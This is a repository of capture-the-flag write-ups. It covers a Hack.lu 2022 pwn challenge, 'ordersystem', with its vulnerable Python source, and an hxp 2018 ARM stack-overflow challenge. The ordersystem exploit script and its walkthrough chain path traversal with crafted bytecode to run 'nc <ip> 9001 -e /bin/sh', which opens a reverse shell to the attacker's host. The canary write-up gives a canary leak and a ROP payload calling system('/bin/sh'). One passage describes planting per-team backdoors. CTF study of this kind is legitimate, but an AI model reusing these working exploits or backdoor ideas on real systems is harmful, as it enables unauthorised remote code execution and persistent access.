| ``` 145 | 146 | We came up with the idea to: 147 | 148 | - fix the service for other teams 149 | - leave a backdoor with backdoor key per team 150 | - profit 151 | 152 | Since this could be done inside psql, (with `CREATE OR REPLACE FUNCTION`) leaving the original `sql` file intact, teams might not even have found their own patches and backdoors. 153 | 154 | ![future](1gp4ub.jpg) 155 | 156 | In the end, we failed to do `psql` things the way `psql` wants to do things in time... 157 | 158 | Next time... 159 | 160 | 161 | ## Done 162 | 163 | Thanks for listening. 164 | Great service with some retro post horny technologies! 165 | Writeup by domenukk and iwo - thanks to Victor and Lucas. 166 | -------------------------------------------------------------------------------- /hacklu2022/README.md: -------------------------------------------------------------------------------- 1 | # HACK.LU 2022 2 | 3 | *Fr, 28 Oct. 2022, 16:00 UTC — So, 30 Oct. 2022, 16:00 UTC* 4 | 5 | ### Official URL: https://flu.xxx/ 6 | ### CTFtime URL: https://ctftime.org/event/1727 7 | 8 | ## Challenges 9 | 10 | ### [pwn] [ordersystem](./ordersystem/) 11 | -------------------------------------------------------------------------------- /hacklu2022/ordersystem/README.md: -------------------------------------------------------------------------------- 1 | # HACK.LU 2022 - ordersystem 2 | 3 | *30 Oct 2022, Writeup by [Timo Ludwig](https://github.com/timoludwig)* 4 | 5 | | Category | Pwn Pasta | 6 | | --------- | --------- | 7 | | Ordered | 14 times | 8 | | Calories | 343 | 9 | | Chef | tunn3l | 10 | | Spicyness | 🌶️ | 11 | 12 | > At our restaurant we like to deploy our own software. This time, we let our intern implement a digital ordering system. Can you test it for us? It has some very promising features already, though not all are shipped in this demo version. 13 | 14 | 15 | ## Challenge 16 | 17 | Run the service locally: 18 | 19 | ``` 20 | cd src 21 | docker build -t ordersystem . && docker run -p 4444:4444 --rm -it ordersystem 22 | ``` 23 | 24 | The service exposes three commands at port `4444`: 25 | 26 | 1. `S`: Store key-value pairs in memory 27 | - The keys have to be exactly 12 bytes long 28 | - The values can only contain hex characters which are processed by `bytes.fromhex(data)` 29 | 2. `D`: Dump the stored data to disk 30 | - Save the in-memory entries into the `storage` directory 31 | - The key is used as filename 32 | - The value is used as file content 33 | 3. `P`: Run plugin code on the data 34 | - Run plugin by passing the filename in the `plugins` directory 35 | - Interprete the plugin file as Python bytecode and call [exec()](https://docs.python.org/3.10/library/functions.html#exec) 36 | - Make the in-memory data available as `co_consts` of the compiled [CodeType](https://docs.python.org/3.10/library/types.html#types.CodeType) 37 | 38 | 39 | ## First observations 40 | 41 | So at the first glance, the exploit path looked pretty straight forward: 42 | 43 | 1. Create python bytecode to spawn a reverse shell 44 | 2. Upload the bytecode via the `S` and `D` commands into the plugins directory by using a path traversal 45 | 3. Run the bytecode via the `R` command 46 | 4. profit 47 | 48 | Unfortunately, there is a small caveat to it: 49 | The dump command encodes the values to hex before writing them to disk: 50 | ``` 51 | open(full,'w').write(content.hex()) 52 | ``` 53 | So the e.g. the bytecode `\x64\x00` for [LOAD_CONST 0](https://docs.python.org/3.10/library/dis.html#opcode-LOAD_CONST) is converted to `"6400"` which would be interpreted as the bytecode `\x36\x34\x30\x30` from the plugin command (which directly segfaults, obviously). 54 | 55 | So in other words, we have to create a bytecode which can be represented by printable hex characters, which dramatically limits our options: 56 | 57 | ``` 58 | In [1]: import dis 59 | ...: { 60 | ...: hex(op_code): op_name 61 | ...: for op_name, op_code in dis.opmap.items() 62 | ...: if chr(op_code) in "0123456789abcdef" 63 | ...: } 64 | Out[1]: 65 | {'0x31': 'WITH_EXCEPT_START', 66 | '0x32': 'GET_AITER', 67 | '0x33': 'GET_ANEXT', 68 | '0x34': 'BEFORE_ASYNC_WITH', 69 | '0x36': 'END_ASYNC_FOR', 70 | '0x37': 'INPLACE_ADD', 71 | '0x38': 'INPLACE_SUBTRACT', 72 | '0x39': 'INPLACE_MULTIPLY', 73 | '0x61': 'STORE_GLOBAL', 74 | '0x62': 'DELETE_GLOBAL', 75 | '0x63': 'ROT_N', 76 | '0x64': 'LOAD_CONST', 77 | '0x65': 'LOAD_NAME', 78 | '0x66': 'BUILD_TUPLE'} 79 | ``` 80 | 81 | 82 | ## Writing exploit bytecode 83 | 84 | At first, we were a bit disillusioned in view of our limited options, but then we recognized a promising operation: 85 | 86 | > `WITH_EXCEPT_START`: Calls the function in position 7 on the stack with the top three items on the stack as arguments. Used to implement the call `context_manager.__exit__(*exc_info())` when an exception has occurred in a [with](https://docs.python.org/3.10/reference/compound_stmts.html#with) statement. 87 | 88 | – https://docs.python.org/3.10/library/dis.html#opcode-WITH_EXCEPT_START 89 | 90 | Which means we have essentially found a [CALL_FUNCTION](https://docs.python.org/3.10/library/dis.html#opcode-CALL_FUNCTION) operation with a few restrictions. Fortunately, the challenge authors gave us access to a debug function that is now very useful: 91 | 92 | ``` 93 | def plugin_log(msg,filename='./log',raw=False): 94 | mode = 'ab' if raw else 'a' 95 | 96 | with open(filename,mode) as logfile: 97 | logfile.write(msg) 98 | ``` 99 | 100 | And coincidently, this function exactly takes three arguments which can be passed with `WITH_EXCEPT_START`. 101 | 102 | Since all data entries are passed to the plugin code via `co_consts`, we can reference them as arguments, as long as they're in the boundaries we can access (meaning indexes `0x30`-`0x39` for `"0"`-`"9"` and `0x61`-`0x66` for `"a"`-`"f"`). 103 | 104 | This means we can use this function to pass our real (unrestricted) exploit bytecode as keys of the storage and write these to another plugin file which will be our final exploit plugin. 105 | 106 | So we now can generate the bytecode that will call the function `co_consts[func_index]` with the arguments `co_consts[content_index]` and `co_consts[filename_index]`: 107 | 108 | ``` 109 | def load_const(index=0x30): 110 | return bytes([opmap["LOAD_CONST"], index]) 111 | 112 | def get_plugin_code(func_index, filename_index, content_index): 113 | return ( 114 | # pos 7 on the stack is the plugin_log function 115 | load_const(func_index) 116 | # pos 4-6 are unused 117 | # pos 3 contains the "raw" argument (must be non-zero) 118 | + load_const() * 4 119 | # pos 2 contains the "filename" 120 | + load_const(filename_index) 121 | # pos 1 contains the "msg" 122 | + load_const(content_index) 123 | # now trigger the "exception handler" 124 | + bytes([[opmap["WITH_EXCEPT_START"], 0x30]) 125 | ) 126 | ``` 127 | 128 | 129 | ## Solution 130 | 131 | So to conclude, we can now: 132 | 133 | 0. Calculate proof of work to get the real target port 134 | 1. Craft python bytecode which will spawn a reverse shell to the attacker's machine 135 | 2. Divide this code into chunks of 12 bytes and store them as keys in the storage 136 | 3. Upload and run one plugin for each chunk which appends the key to the logfile aka exploit plugin 137 | 4. Run the exploit plugin 138 | 139 | ### Perform proof of work 140 | 141 | When connecting to the service, we were greeted with a small PoW: 142 | 143 | ``` 144 | nc 23.88.100.81 4444 145 | Welcome to our new Ordersystem. To spawn a new instance, please solve this pow: 146 | challenge = 507a9bdca6d2c71c130b (decode this!) 147 | please send x in hex format so that md5(x+challenge) starts with 6 zeros. x should be 10 bytes long : 148 | ``` 149 | 150 | We didn't spend much time on the script which brute forces a response which results in an md5 hash with 6 leading zeros when added to the given challenge. 151 | 152 | ### Reverse shell as Python bytecode 153 | 154 | At first, we tried the inbuilt compiler to do the hard work for us: 155 | 156 | ``` 157 | In [2]: plugin = compile("import os;os.system('nc 172.17.0.1 9001 -e /bin/sh')", "", "exec") 158 | 159 | In [3]: plugin.co_code 160 | Out[3]: b'd\x00d\x01l\x00Z\x00e\x00\xa0\x01d\x02\xa1\x01\x01\x00d\x01S\x00' 161 | ``` 162 | 163 | Which results in the following operations: 164 | 165 | ``` 166 | In [4]: import dis 167 | ...: dis.disassemble(plugin) 168 | 1 0 LOAD_CONST 0 (0) 169 | 2 LOAD_CONST 1 (None) 170 | 4 IMPORT_NAME 0 (os) 171 | 6 STORE_NAME 0 (os) 172 | 8 LOAD_NAME 0 (os) 173 | 10 LOAD_METHOD 1 (system) 174 | 12 LOAD_CONST 2 ('nc 172.17.0.1 9001 -e /bin/sh') 175 | 14 CALL_METHOD 1 176 | 16 POP_TOP 177 | 18 LOAD_CONST 1 (None) 178 | 20 RETURN_VALUE 179 | ``` 180 | 181 | But viewing the disassembled code highlighted a few problems: 182 | 183 | 1. We do not have access to the constants `0` and `None` (we can only create string constants by storing keys) 184 | 2. The `nc` command is too long to fit into a single key 185 | 186 | So we didn't get around crafting our own code: 187 | 188 | ``` 189 | # This is the index where we will later store the nc command 190 | nc_index = ord("b") 191 | co_names = ["len", "list", "print", "os", "system", "decode"] 192 | 193 | exploit_asm = [ 194 | # Get length of empty list to push 0 on the stack 195 | ("BUILD_LIST", 0), 196 | # Use NOP as arg to simplify compiler 197 | ("GET_LEN", 0x09), 198 | # Invoke print() to push None onto the stack 199 | ("LOAD_NAME", co_names.index("print")), 200 | ("CALL_FUNCTION", 0), 201 | # Import os 202 | ("IMPORT_NAME", co_names.index("os")), 203 | # Invoke os.system() 204 | ("LOAD_METHOD", co_names.index("system")), 205 | # Decode first batch of nc command 206 | ("LOAD_CONST", nc_index), 207 | ("LOAD_METHOD", co_names.index("decode")), 208 | ("CALL_METHOD", 0), 209 | # Decode second batch of nc command 210 | ("LOAD_CONST", nc_index + 1), 211 | ("LOAD_METHOD", co_names.index("decode")), 212 | ("CALL_METHOD", 0), 213 | # Decode third batch of nc command 214 | ("LOAD_CONST", nc_index + 2), 215 | ("LOAD_METHOD", co_names.index("decode")), 216 | ("CALL_METHOD", 0), 217 | # Concatenate the three strings 218 | ("BUILD_STRING", 3), 219 | # Finaly invoke the nc command 220 | ("CALL_METHOD", 1), 221 | ] 222 | ``` 223 | 224 | This performs the following: 225 | 226 | 1. Invoke `len(list())` to push `0` onto the stack 227 | 2. Invoke `print()` to push `None` onto the stack 228 | 5. Import `os` 229 | 3. Load all three batches of the `nc` command 230 | 4. Decode the command batches because `BUILD_STRING` only works with strings and not byte strings 231 | 4. Concatenate the `nc` command 232 | 6. Invoke the `nc` command via `os.system()` 233 | 234 | Then, we can "compile" the code: 235 | 236 | ``` 237 | exploit_bytecode = b"" 238 | for op_name, arg in exploit_asm: 239 | exploit_bytecode += bytes([opmap[op_name], arg]) 240 | ``` 241 | 242 | After that, we need to append the constants to make them available to the plugin: 243 | 244 | ``` 245 | exploit_bytecode += b";" 246 | exploit_bytecode += b";".join(n.encode() for n in co_names) 247 | ``` 248 | 249 | ### Upload exploit bytecode in chunks 250 | 251 | Check how many chunks we need to store the exploit in: 252 | 253 | ``` 254 | num_chunks = len(exploit_bytecode) // chunk_size + 1 255 | ``` 256 | 257 | Pad the exploit code to a multiple of 12: 258 | 259 | ``` 260 | exploit_bytecode = exploit_bytecode.ljust(chunk_size * num_chunks, b";") 261 | ``` 262 | 263 | Upload exploit chunks: 264 | 265 | ``` 266 | for i in range(0, len(exploit_bytecode), chunk_size): 267 | upload_file(exploit_bytecode[i : i + chunk_size]) 268 | ``` 269 | 270 | ### Upload plugins to assemble exploit chunks 271 | 272 | ``` 273 | for i in range(num_chunks): 274 | upload_plugin( 275 | str(i), get_plugin_code(plugin_log_index, exploit_filename, base_index + i) 276 | ) 277 | ``` 278 | 279 | ### Upload additional constants 280 | 281 | In order to make the exploit work, we need a few more constants. 282 | These have to be uploaded after the plugins to make sure the plugins can be saved to disk successfully before any entries with invalid filenames are created (e.g. saving the file `plugins/expl` won't work because there is no directory `storage/plugins` but we cannot traverse the path because then the logfile method won't find it since this is operating from the working directory). 283 | 284 | Store the filename which is used as "logfile" at index `ord("a")` 285 | 286 | ``` 287 | upload_file("plugins/expl") 288 | ``` 289 | 290 | Store the `nc` command at index `ord("b")` 291 | 292 | ``` 293 | commmand = f"nc {ip} {rev_port} -e /bin/sh".ljust(chunk_size * 3, " ") 294 | upload_file(commmand[:chunk_size]) 295 | upload_file(commmand[chunk_size : 2 * chunk_size]) 296 | upload_file(commmand[2 * chunk_size :]) 297 | ``` 298 | 299 | 300 | ### Run plugins to assemble exploit chunks 301 | 302 | ``` 303 | for i in range(num_chunks): 304 | run_plugin(str(i)) 305 | ``` 306 | 307 | ### Run the exploit plugin 308 | 309 | Now, we can listen for the reverse shell: 310 | 311 | ``` 312 | reverse_shell = listen(rev_port) 313 | ``` 314 | 315 | Run exploit code and spawn the reverse shell: 316 | 317 | ``` 318 | run_plugin("expl") 319 | ``` 320 | 321 | And finally get the flag 322 | ``` 323 | reverse_shell.sendline(b"echo $flag") 324 | flag = reverse_shell.readline() 325 | ``` 326 | 327 | which rewards us with a reference I'm very [drawn to](https://youtube.com/watch?v=hfM4xPyie78). 328 | 329 | ``` 330 | flag{D1d_y0u_0rd3r_rc3?v=hfM4xPyie78} 331 | ``` 332 | -------------------------------------------------------------------------------- /hacklu2022/ordersystem/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import binascii 4 | from dis import opmap 5 | from hashlib import md5 6 | from pwn import * 7 | 8 | # The victim's ip address 9 | host = args.HOST or "localhost" 10 | # The port of the service 11 | port = int(args.PORT or 4444) 12 | # The attacker's ip address 13 | ip = args.IP or "172.17.0.1" 14 | # The attacker's port to listen for the reverse shell 15 | rev_port = 9001 16 | # The service accepts keys of exactly this size 17 | chunk_size = 12 18 | 19 | # If the exploit runs agains the remote host, we have to solve a proof of work 20 | if host != "localhost": 21 | pow_io = connect(host, port) 22 | pow_io.readuntil(b"challenge = ") 23 | challenge = binascii.unhexlify(pow_io.readuntil(b" ").strip().decode()) 24 | pow_io.readuntil(b"x should be 10 bytes long :") 25 | # Brute-force a prefix which causes 6 leading zeros 26 | while True: 27 | prefix = bytes(random.choices(list(range(256)), k=10)) 28 | test = prefix + challenge 29 | foo = md5(test).hexdigest()[:6] 30 | if foo == "000000": 31 | break 32 | pow_io.sendline(binascii.hexlify(prefix)) 33 | pow_io.readuntil(b"port ") 34 | port = int(pow_io.readuntil(b".")[:-1]) 35 | 36 | 37 | def upload_file(filename, data=""): 38 | log.debug("Upload file %s with data %r", filename, data) 39 | io = connect(host, port) 40 | io.send(b"S") 41 | io.send(filename.encode() if type(filename) == str else filename) 42 | io.send(bytes([len(data)])) 43 | io.send(data.encode()) 44 | io.sendline() 45 | io.readuntil("STORED") 46 | io.close() 47 | 48 | 49 | def upload_plugin(file_char, data): 50 | log.debug("Upload plugin %s with data %r", file_char, data) 51 | io = connect(host, port) 52 | io.send(b"S") 53 | io.send(f"../plugins/{file_char}".encode()) 54 | io.send(bytes([len(data)])) 55 | io.send(data) 56 | io.sendline() 57 | io.readuntil("STORED") 58 | io.close() 59 | 60 | 61 | def store_disk(): 62 | log.debug("Dump all entries to disk") 63 | io = connect(host, port) 64 | io.send(b"D") 65 | io.sendline() 66 | io.readuntil("DUMPED") 67 | io.close() 68 | 69 | 70 | def run_plugin(filename): 71 | log.debug("Run plugin %s", filename) 72 | io = connect(host, port) 73 | io.send(b"P") 74 | filename += (chunk_size - len(filename)) * " " 75 | io.send(filename.encode()) 76 | io.sendline() 77 | io.close() 78 | 79 | 80 | def load_const(index=0x30): 81 | return bytes([opmap["LOAD_CONST"], index]) 82 | 83 | 84 | def get_plugin_code(func_index, filename_index, content_index): 85 | return ( 86 | # pos 7 on the stack is the function 87 | load_const(func_index) 88 | # pos 3-6 are unused 89 | + load_const() * 4 90 | # pos 2 contains the filename 91 | + load_const(filename_index) 92 | # pos 1 contains the msg 93 | + load_const(content_index) 94 | # now trigger the "exception handler" 95 | + bytes([opmap["WITH_EXCEPT_START"], 0x30]) 96 | ) 97 | 98 | 99 | # This is the index where we will later store the nc command 100 | nc_index = ord("b") 101 | co_names = ["len", "list", "print", "os", "system", "decode"] 102 | 103 | exploit_asm = [ 104 | # Get length of empty list to push 0 on the stack 105 | ("BUILD_LIST", 0), 106 | # Use NOP as arg to simplify compiler 107 | ("GET_LEN", 0x09), 108 | # Invoke print() to push None on the stack 109 | ("LOAD_NAME", co_names.index("print")), 110 | ("CALL_FUNCTION", 0), 111 | # Import os 112 | ("IMPORT_NAME", co_names.index("os")), 113 | # Invoke os.system() 114 | ("LOAD_METHOD", co_names.index("system")), 115 | # Decode first batch of nc command: 'nc 172.17.0.' 116 | ("LOAD_CONST", nc_index), 117 | ("LOAD_METHOD", co_names.index("decode")), 118 | ("CALL_METHOD", 0), 119 | # Decode second batch of nc command: '1 9001 -e /b' 120 | ("LOAD_CONST", nc_index + 1), 121 | ("LOAD_METHOD", co_names.index("decode")), 122 | ("CALL_METHOD", 0), 123 | # Decode third batch of nc command: 'in/sh' 124 | ("LOAD_CONST", nc_index + 2), 125 | ("LOAD_METHOD", co_names.index("decode")), 126 | ("CALL_METHOD", 0), 127 | # Concatenate the three strings 128 | ("BUILD_STRING", 3), 129 | # Finaly invoke the nc command 130 | ("CALL_METHOD", 1), 131 | ] 132 | 133 | exploit_bytecode = b"" 134 | for op_name, arg in exploit_asm: 135 | exploit_bytecode += bytes([opmap[op_name], arg]) 136 | 137 | # Append co_names 138 | exploit_bytecode += b";" 139 | exploit_bytecode += b";".join(n.encode() for n in co_names) 140 | 141 | # Check how many chunks we need to store the exploit in 142 | num_chunks = len(exploit_bytecode) // chunk_size + 1 143 | 144 | # Pad the exploit code to a multiple of 12 145 | exploit_bytecode = exploit_bytecode.ljust(chunk_size * num_chunks, b";") 146 | 147 | # The smallest index we can address 148 | base_index = ord("0") 149 | 150 | # Upload filling entries because we can't access them 151 | log.info("Upload dummy entries") 152 | for i in range(base_index): 153 | upload_file(str(i).zfill(chunk_size)) 154 | 155 | # Upload exploit chunks 156 | log.info("Upload exploit chunks") 157 | for i in range(0, len(exploit_bytecode), chunk_size): 158 | upload_file(exploit_bytecode[i : i + chunk_size]) 159 | 160 | # Determine the indexes of the function and filename 161 | exploit_filename = ord("a") 162 | plugin_log_index = exploit_filename + 4 163 | 164 | # Upload plugins to assemble exploit 165 | log.info("Upload plugins to assemble exploit chunks") 166 | for i in range(num_chunks): 167 | upload_plugin( 168 | str(i), get_plugin_code(plugin_log_index, exploit_filename, base_index + i) 169 | ) 170 | 171 | # Store all plugins to disk now to prevent errors with invalid filenames 172 | store_disk() 173 | 174 | # Upload filling entries because we can't access them 175 | log.info("Upload dummy entries") 176 | for i in range(base_index + 2 * num_chunks, ord("a")): 177 | upload_file(str(i).zfill(chunk_size)) 178 | 179 | # Store filepath for later (index: ord(a)) - this entry cannot be stored to disk because the path is invalid 180 | log.info("Upload additional constants") 181 | upload_file("plugins/expl") 182 | 183 | # Pad nc command to multiple of 12 184 | commmand = f"nc {ip} {rev_port} -e /bin/sh".ljust(chunk_size * 3, " ") 185 | 186 | # Store nc command for execution in constants (index: ord(b)) 187 | upload_file(commmand[:chunk_size]) 188 | upload_file(commmand[chunk_size : 2 * chunk_size]) 189 | upload_file(commmand[2 * chunk_size :]) 190 | 191 | # Upload plugins to assemble exploit 192 | log.info("Run plugins to assemble exploit plugin") 193 | for i in range(num_chunks): 194 | run_plugin(str(i)) 195 | 196 | # Listen for the reverse shell 197 | reverse_shell = listen(rev_port) 198 | 199 | # Run exploit code and spawn reverse shell 200 | log.info("Run exploit plugin") 201 | run_plugin("expl") 202 | 203 | # Get the flag 204 | reverse_shell.sendline(b"echo $flag") 205 | flag = reverse_shell.readline() 206 | log.success("Got the flag: %s", flag) 207 | -------------------------------------------------------------------------------- /hacklu2022/ordersystem/src/Dockerfile: -------------------------------------------------------------------------------- 1 | # docker build -t ordersystem . && docker run -p 4444:4444 --rm -it ordersystem 2 | # tip: watch out for appending vs overwriting 3 | 4 | FROM ubuntu:22.04 5 | 6 | RUN apt-get update 7 | RUN apt-get install -y ncat python3 8 | 9 | 10 | RUN useradd -ms /bin/bash user 11 | 12 | RUN mkdir /work 13 | WORKDIR /work 14 | RUN mkdir storage plugins 15 | 16 | 17 | COPY main.py . 18 | COPY disk.py . 19 | COPY plugin.py . 20 | ENV flag="flag{fakeflag}" 21 | 22 | 23 | RUN chown -R user:user /work 24 | USER user 25 | CMD python3 main.py 26 | -------------------------------------------------------------------------------- /hacklu2022/ordersystem/src/disk.py: -------------------------------------------------------------------------------- 1 | """ 2 | This file provides functions for dumping from memory to disk, 3 | useful for persistence. 4 | """ 5 | from os import path 6 | 7 | ROOT = path.normpath(path.join(path.abspath(__file__), "..")) 8 | 9 | 10 | def _store(fname, content): 11 | full = path.join(ROOT, fname) 12 | 13 | open(full, "w").write(content.hex()) 14 | 15 | 16 | def store_disk(entries): 17 | for k, v in entries.items(): 18 | try: 19 | k = k.decode() 20 | except: 21 | k = k.hex() 22 | 23 | storagefile = path.normpath(f"storage/{k}") 24 | _store(storagefile, v) 25 | -------------------------------------------------------------------------------- /hacklu2022/ordersystem/src/main.py: -------------------------------------------------------------------------------- 1 | """ 2 | entry point. This file manages orders received by clients 3 | and executes the requested commands. For this demo the 4 | commands store,dump and plugin are implemented, though 5 | this version ships without any plugins. 6 | """ 7 | 8 | import socket 9 | from threading import Thread 10 | import traceback 11 | from disk import store_disk 12 | from plugin import execute_plugin 13 | 14 | ENTRIES = {} 15 | 16 | 17 | def recv_exact(c, n): 18 | b = b"" 19 | while len(b) != n: 20 | b += c.recv(n - len(b)) 21 | return b 22 | 23 | 24 | def handle_client(con): 25 | try: 26 | cmd = recv_exact(con, 1).decode() 27 | assert cmd in ["P", "S", "D"], "invalid command received" 28 | 29 | if cmd == "S": # Store 30 | entry = recv_exact(con, 12) 31 | 32 | data_len = recv_exact(con, 1)[0] 33 | data = recv_exact(con, data_len).decode() 34 | 35 | assert len(list(filter(lambda x: x in "0123456789abcdef", data))) == len( 36 | data 37 | ), "data has to be in hex format" 38 | 39 | ENTRIES[entry] = bytes.fromhex(data) 40 | 41 | con.send(f"STORED {int(data_len/2)} bytes in {entry}\n".encode()) 42 | 43 | if cmd == "D": # dump to disk 44 | store_disk(ENTRIES) 45 | con.send(f"DUMPED {len(ENTRIES)} entries to disk\n".encode()) 46 | 47 | if cmd == "P": # run plugin on data 48 | plugin_name = recv_exact(con, 12).decode() 49 | try: 50 | execute_plugin(plugin_name, ENTRIES) 51 | except Exception as e: 52 | print(traceback.format_exc()) 53 | 54 | con.close() 55 | 56 | except Exception as e: 57 | con.send(f"{e}".encode()) 58 | con.close() 59 | 60 | 61 | def main(): 62 | s = socket.socket() 63 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 64 | s.bind(("0.0.0.0", 4444)) 65 | s.listen(100) 66 | 67 | while True: 68 | con, addr = s.accept() 69 | Thread(target=handle_client, args=(con,)).start() 70 | 71 | 72 | if __name__ == "__main__": 73 | main() 74 | -------------------------------------------------------------------------------- /hacklu2022/ordersystem/src/plugin.py: -------------------------------------------------------------------------------- 1 | """ 2 | This file handles plugins. They can be added to a server instance and 3 | allow for modified behavior such as advanced sorting, server info, remote 4 | access and much more. Due to performance reasons and size constraints, plugins 5 | are pure python bytecode. co_onsts will be pre set by the plugin 6 | handler and supply the plugin with the important values. co_names can be freely 7 | choosen by plugin authors. 8 | """ 9 | 10 | from os import path 11 | from types import CodeType 12 | 13 | 14 | def plugin_log(msg, filename="./log", raw=False): 15 | mode = "ab" if raw else "a" 16 | 17 | with open(filename, mode) as logfile: 18 | logfile.write(msg) 19 | 20 | 21 | def execute_plugin(pname, entries): 22 | plugin_path = path.join("./plugins/", path.basename(pname.rstrip(" "))) 23 | 24 | data = open(plugin_path, "rb").read() 25 | 26 | # the plugin may specify custom names to use as variable storage through 27 | # the use of ; e.g ;name;name1.. 28 | 29 | if b";" in data: 30 | names = [x.decode() for x in data.split(b";")[1:]] 31 | code = data[: data.index(b";")] 32 | else: 33 | code = data 34 | names = [] 35 | 36 | assert len(data) != 0, "cannot execute empty bytecode" 37 | assert len(data) % 2 == 0, "bytecode not correctly aligned" 38 | 39 | # give the plugin some useful data, starting with all saved entries 40 | 41 | consts = [] 42 | for k in entries: 43 | consts.append(k) 44 | 45 | # in the future we plan to implement more useful functions for plugins to use 46 | 47 | consts.append(plugin_log) 48 | 49 | plugin = CodeType( 50 | 0, # co_argcount 51 | 0, # co_posonlyargcount 52 | 0, # co_kwonlyargcount 53 | 0, # co_nlocals 54 | 256, # co_stacksize 55 | 0, # co_flags 56 | code, # co_code 57 | tuple(consts), # co_consts 58 | tuple(names), # co_names 59 | (), # co_varnames 60 | f"plugin_{pname}", # co_filename 61 | f"plugin_{pname}", # co_name 62 | 0, # co_firstlineno 63 | b"", # co_linetable 64 | (), # co_freevars 65 | (), # co_cellvars 66 | ) 67 | exec(plugin) 68 | -------------------------------------------------------------------------------- /hxpctf2018/README.md: -------------------------------------------------------------------------------- 1 | # hxp CTF 2018 2 | 3 | *Fr, 07 Dec. 2018, 13:00 CET — So, 09 Dec. 2018, 13:00 CET* 4 | 5 | ### Official URL: [https://2018.ctf.link/](https://2018.ctf.link/) 6 | ### CTFtime URL: [https://ctftime.org/event/647/](https://ctftime.org/event/647/) 7 | 8 | ## Writeups 9 | 10 | ### [poor_canary](./poor_canary.md) [pwn] 11 | ### [yunospace](./yunospace.md) [pwn] 12 | -------------------------------------------------------------------------------- /hxpctf2018/poor_canary.md: -------------------------------------------------------------------------------- 1 | # poor_canary 2 | 3 | poor_canary is a statically linked ARM binary which echoes input. 4 | 5 | ``` 6 | root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# file canary 7 | canary: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=3599326b9bf146191588a1e13fb3db905951de07, not stripped 8 | ``` 9 | 10 | The original source code was provided as well, so we can see that (and why) the binary contains `system`: 11 | ```c 12 | #include 13 | #include 14 | #include 15 | 16 | int main() 17 | { 18 | setbuf(stdout, NULL); 19 | setbuf(stdin, NULL); 20 | char buf[40]; 21 | puts("Welcome to hxp's Echo Service!"); 22 | while (1) 23 | { 24 | printf("> "); 25 | ssize_t len = read(0, buf, 0x60); 26 | if (len <= 0) return 0; 27 | if (buf[len - 1] == '\n') buf[--len] = 0; 28 | if (len == 0) return 0; 29 | puts(buf); 30 | } 31 | } 32 | const void* foo = system; 33 | ``` 34 | 35 | The binary is not position independent: 36 | ``` 37 | root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# checksec canary 38 | [*] '/mnt/c/Users/Benni/hxpctf/poor_canary/canary' 39 | Arch: arm-32-little 40 | RELRO: Partial RELRO 41 | Stack: Canary found 42 | NX: NX enabled 43 | PIE: No PIE (0x10000) 44 | ``` 45 | 46 | so IDA can tell us the virtual address where `system` is (0x00016D90). 47 | 48 | The buffer `buf` on the stack is 40 bytes long, but `read` will read 0x60 (96) bytes - a classical overflow where we can override the return address. A quick debugging session enlightens us that the return address is 12 bytes behind the canary. 49 | 50 | Since the stack is protected by a canary, we have to leak it first. Since canaries always begin with a `00`, we have to send 41 characters to retrieve the canary: 51 | ```python 52 | io.send("A"*41) 53 | resp = io.recvline() 54 | canary = '\x00' + resp[43:-1] 55 | ``` 56 | 57 | In order to execute `system("/bin/sh"), we need that string somewhere: 58 | ``` 59 | root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# ropper -f canary --string "/bin/sh" 60 | 61 | 62 | Strings 63 | ======= 64 | 65 | Address Value 66 | ------- ----- 67 | 0x00071eb0 /bin/sh 68 | ``` 69 | 70 | So far so good, now we have to move the address into r0 (first argument is in r0): 71 | ``` 72 | root@DESKTOP-HUPC6JQ:/mnt/c/Users/Benni/hxpctf/poor_canary# ropper -f canary --nocolor | fgrep ": pop {r0" 73 | [INFO] Load gadgets from cache 74 | [LOAD] loading... 100% 75 | [LOAD] removing double gadgets... 100% 76 | 0x0005ab20: pop {r0, r1, r2, r3, ip, lr}; ldr r1, [r0, #4]; bx r1; 77 | 0x0005a120: pop {r0, r1, r2, r3, r4, lr}; bx ip; 78 | 0x0005ab04: pop {r0, r1, r3, ip, lr}; pop {r2}; ldr r1, [r0, #4]; bx r1; 79 | 0x00026b7c: pop {r0, r4, pc}; 80 | ``` 81 | 82 | `pop {r0, r4, pc}` looks good: it pops into r0 **and** pc, so it does everything we need! We just have to 83 | - write 40 bytes of garbage 84 | - write the canary 85 | - write 12 bytes of garbage 86 | - write the address of our pop gadget (0x00026b7c) 87 | - write the address of "/bin/sh" (0x00071eb0) (which will be popped into r0) 88 | - write 4 bytes of garbage (which will be popped into r4) 89 | - write the address of system (which will be popped into pc) 90 | and the pc will point to `system`, r0 will point to `/bin/sh`, and thus we will have a shell! 91 | 92 | ```python 93 | io.send("A"*40 + canary + "A"*12 + "\x7c\x6b\x02\x00" + "\xb0\x1e\x07\x00" + "A"*4 + "\x90\x6D\x01\x00") 94 | ``` 95 | 96 | 97 | 98 | 99 | 100 | Our full exploit script: 101 | ```python 102 | #!/usr/bin/env python2 103 | # -*- coding: utf-8 -*- 104 | # This exploit template was generated via: 105 | # $ pwn template --host 116.203.30.62 --port 18113 ./canary 106 | from pwn import * 107 | 108 | # Set up pwntools for the correct architecture 109 | exe = context.binary = ELF('./canary') 110 | 111 | # Many built-in settings can be controlled on the command-line and show up 112 | # in "args". For example, to dump all data sent/received, and disable ASLR 113 | # for all created processes... 114 | # ./exploit.py DEBUG NOASLR 115 | # ./exploit.py GDB HOST=example.com PORT=4141 116 | host = args.HOST or '116.203.30.62' 117 | port = int(args.PORT or 18113) 118 | 119 | def local(argv=[], *a, **kw): 120 | '''Execute the target binary locally''' 121 | if args.GDB: 122 | return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) 123 | else: 124 | return process([exe.path] + argv, *a, **kw) 125 | 126 | def remote(argv=[], *a, **kw): 127 | '''Connect to the process on the remote host''' 128 | io = connect(host, port) 129 | if args.GDB: 130 | gdb.attach(io, gdbscript=gdbscript) 131 | return io 132 | 133 | def start(argv=[], *a, **kw): 134 | '''Start the exploit against the target.''' 135 | if args.LOCAL: 136 | return local(argv, *a, **kw) 137 | else: 138 | return remote(argv, *a, **kw) 139 | 140 | # Specify your GDB script here for debugging 141 | # 